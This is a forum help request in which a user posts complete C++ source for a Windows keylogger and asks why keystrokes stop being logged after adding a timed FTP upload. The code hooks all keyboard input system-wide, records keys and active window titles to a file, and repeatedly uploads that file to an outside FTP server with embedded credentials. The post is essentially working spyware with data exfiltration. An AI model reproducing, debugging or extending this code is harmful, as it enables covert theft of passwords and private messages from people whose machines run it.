hi everybody
my problem is when i set timer for ftp to send me a file , the keylogger doesn't log or save any text in log file , i face this problem just when i set timer for ftp otherwise it work fine i mean without timer
i set timer for 9s just for test
#include <windows.h>
#include <fstream>
#include <wininet.h>
#include <string>
#include <ctime>
#include <iostream>
using namespace std;
void vSendFile()
{
while(1){
Sleep(9000);
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if (hInternet == NULL) cout << ("No Internet Connection..\n");
else cout << ("Internet Connection Established\n");
hFtpSession = InternetConnect(hInternet,"FTP-server",INTERNET_DEFAULT_FTP_PORT, "user","pass", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE,0 );
if (!hFtpSession) cout << ("Error in the FTP connection..\n");
else
{
cout <<("FTP Connection Established!\n");
if (!FtpPutFile(hFtpSession, "log.txt", "log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
cout <<("File Transfer Failed..\n");
else cout << ("The file was sent..\n");
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
}
}}
// Initialize a keyboard HHOOK
HHOOK KeyboardHook;
// Function to write to a file
void write(const char* c)
{
// const char* fileLocation = "F:\\log.txt"; // Define the location of log file
FILE *f = fopen("log.txt","a+"); // Open the log file in append mode
if(f!=NULL)
{
fputs(c,f); // Write to end of the file
fclose(f); // Close the file
}
}
// The WIN API Message Loop
void KeepAlive()
{
MSG message;
while (GetMessage(&message,NULL,0,0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
// Unhook and exit
void Exit()
{
UnhookWindowsHookEx(KeyboardHook);
exit(0);
}
// Is shift key down ?
bool shift = false;
// Store window
HWND oldWindow = NULL;
// Window text
char cWindow[MAX_PATH];
// Callback function to be hooked
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
bool bControlKeyDown=0;
// Get current state of capsLock
bool caps = GetKeyState(VK_CAPITAL) < 0;
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *) lParam;
if(nCode == HC_ACTION){
// Determine the current state of shift key
if(p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT){
if(wParam == WM_KEYDOWN)
{
shift = true;
}
else
{
shift = false;
}
}
// Check if F12 + CTRL is pressed, if yes -> exit
bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
if (p->vkCode == VK_F12 && bControlKeyDown) // If F12 and CTRL are pressed
{
Exit();
}
// Start logging keys
if(wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) // If key has been pressed
{
HWND newWindow = GetForegroundWindow();
if(oldWindow == NULL || newWindow != oldWindow){
// Get Active window title and store it
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
write("\nActive Window: ");
write(cWindow);
write("\n");
oldWindow = newWindow;
}
// Virtual key codes reference: http://msdn.microsoft.com/en-us/library/dd375731%28v=VS.85%29.aspx
switch(p->vkCode) // Compare virtual keycode to hex values and log keys accordingly
{
//Number keys
case 0x30: write(shift?")":"0");break;
case 0x31: write(shift?"!":"1");break;
case 0x32: write(shift?"@":"2");break;
case 0x33: write(shift?"#":"3");break;
case 0x34: write(shift?"$":"4");break;
case 0x35: write(shift?"%":"5");break;
case 0x36: write(shift?"^":"6");break;
case 0x37: write(shift?"&":"7");break;
case 0x38: write(shift?"*":"8");break;
case 0x39: write(shift?"(":"9");break;
// Numpad keys
case 0x60: write("0");break;
case 0x61: write("1");break;
case 0x62: write("2");break;
case 0x63: write("3");break;
case 0x64: write("4");break;
case 0x65: write("5");break;
case 0x66: write("6");break;
case 0x67: write("7");break;
case 0x68: write("8");break;
case 0x69: write("9");break;
// Character keys
case 0x41: write(caps?(shift?"a":"A"):(shift?"A":"a"));break;
case 0x42: write(caps?(shift?"b":"B"):(shift?"B":"b"));break;
case 0x43: write(caps?(shift?"c":"C"):(shift?"C":"c"));break;
case 0x44: write(caps?(shift?"d":"D"):(shift?"D":"d"));break;
case 0x45: write(caps?(shift?"e":"E"):(shift?"E":"e"));break;
case 0x46: write(caps?(shift?"f":"F"):(shift?"F":"f"));break;
case 0x47: write(caps?(shift?"g":"G"):(shift?"G":"g"));break;
case 0x48: write(caps?(shift?"h":"H"):(shift?"H":"h"));break;
case 0x49: write(caps?(shift?"i":"I"):(shift?"I":"i"));break;
case 0x4A: write(caps?(shift?"j":"J"):(shift?"J":"j"));break;
case 0x4B: write(caps?(shift?"k":"K"):(shift?"K":"k"));break;
case 0x4C: write(caps?(shift?"l":"L"):(shift?"L":"l"));break;
case 0x4D: write(caps?(shift?"m":"M"):(shift?"M":"m"));break;
case 0x4E: write(caps?(shift?"n":"N"):(shift?"N":"n"));break;
case 0x4F: write(caps?(shift?"o":"O"):(shift?"O":"o"));break;
case 0x50: write(caps?(shift?"p":"P"):(shift?"P":"p"));break;
case 0x51: write(caps?(shift?"q":"Q"):(shift?"Q":"q"));break;
case 0x52: write(caps?(shift?"r":"R"):(shift?"R":"r"));break;
case 0x53: write(caps?(shift?"s":"S"):(shift?"S":"s"));break;
case 0x54: write(caps?(shift?"t":"T"):(shift?"T":"t"));break;
case 0x55: write(caps?(shift?"u":"U"):(shift?"U":"u"));break;
case 0x56: write(caps?(shift?"v":"V"):(shift?"V":"v"));break;
case 0x57: write(caps?(shift?"w":"W"):(shift?"W":"w"));break;
case 0x58: write(caps?(shift?"x":"X"):(shift?"X":"x"));break;
case 0x59: write(caps?(shift?"y":"Y"):(shift?"Y":"y"));break;
case 0x5A: write(caps?(shift?"z":"Z"):(shift?"Z":"z"));break;
// Special keys
case VK_SPACE: write(" "); break;
case VK_RETURN: write("\n"); break;
case VK_TAB: write("\t"); break;
case VK_ESCAPE: write("[ESC]"); break;
case VK_LEFT: write("[LEFT]"); break;
case VK_RIGHT: write("[RIGHT]"); break;
case VK_UP: write("[UP]"); break;
case VK_DOWN: write("[DOWN]"); break;
case VK_END: write("[END]"); break;
case VK_HOME: write("[HOME]"); break;
case VK_DELETE: write("[DELETE]"); break;
case VK_BACK: write("[BACKSPACE]"); break;
case VK_INSERT: write("[INSERT]"); break;
case VK_LCONTROL: write("[CTRL]"); break;
case VK_RCONTROL: write("[CTRL]"); break;
case VK_LMENU: write("[ALT]"); break;
case VK_RMENU: write("[ALT]"); break;
case VK_F1: write("[F1]");break;
case VK_F2: write("[F2]");break;
case VK_F3: write("[F3]");break;
case VK_F4: write("[F4]");break;
case VK_F5: write("[F5]");break;
case VK_F6: write("[F6]");break;
case VK_F7: write("[F7]");break;
case VK_F8: write("[F8]");break;
case VK_F9: write("[F9]");break;
case VK_F10: write("[F10]");break;
case VK_F11: write("[F11]");break;
case VK_F12: write("[F12]");break;
// Shift keys
case VK_LSHIFT: break; // Do nothing
case VK_RSHIFT: break; // Do nothing
// Symbol keys
case VK_OEM_1: write(shift?":":";");break;
case VK_OEM_2: write(shift?"?":"/");break;
case VK_OEM_3: write(shift?"~":"`");break;
case VK_OEM_4: write(shift?"{":"[");break;
case VK_OEM_5: write(shift?"|":"\\");break;
case VK_OEM_6: write(shift?"}":"]");break;
case VK_OEM_7: write(shift?"\"":"'");break;
default:
DWORD dwMsg = p->scanCode << 16;
dwMsg += p->flags << 24;
char key[16];
GetKeyNameText(dwMsg,key,15);
write(key);
break;
}
}
}
// Forward the event to other hooks
return CallNextHookEx(NULL,nCode,wParam,lParam);
}
// WinAPI main method
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
vSendFile();
// Write to file
write("\n--");
// Hook to all available threads
KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);
// uploaddata();
// Keep alive till F12 + CTRL key press is detected - can also register Hotkey
KeepAlive();
// std::string FileName = get_date();
// Return and exit
return 0;
}